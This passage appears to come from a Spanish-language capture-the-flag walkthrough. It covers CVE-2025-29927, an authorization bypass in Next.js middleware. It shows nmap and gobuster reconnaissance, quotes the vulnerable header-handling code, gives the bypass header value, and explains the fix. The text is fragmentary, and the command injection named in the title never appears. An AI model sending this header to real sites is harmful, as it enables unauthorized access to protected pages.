
Desafío Capture the Flag: CVE-2025-29927 en combinación con una vulnerabilidad de inyección de comandos
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard redirige a /login. ¿Puedes encontrar alguna información en la página de inicio de sesión que te permita evitar la redirección?
— — —
x-middleware-subrequest. Next.js usa este encabezado internamente para evitar bucles infinitos de middleware. Cuando se procesa una solicitud, la función runMiddleware verifica los encabezados de la solicitud:
x-middleware-subrequest está presente
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Al usar este encabezado, le decimos al middleware: "Esta ya es una solicitud generada por el middleware, no ejecutes el middleware nuevamente".
x-middleware-subrequest de todas las solicitudes externas entrantes antes de que se ejecute el middleware. El encabezado solo se confía cuando se crea dentro del tiempo de ejecución de Next.js durante el encadenamiento legítimo de middleware. Concretamente, el valor de x-middleware-subrequest ahora se valida con una cadena hexadecimal generada aleatoriamente, lo que garantiza que solo las solicitudes de sesión internas legítimas pasen las comprobaciones de autorización. Por lo tanto, incluso si un atacante envía el encabezado, Next.js ahora puede distinguir entre una subconsulta interna real (que lleva el token generado aleatoriamente correcto) y una falsificada de un atacante externo.
— — —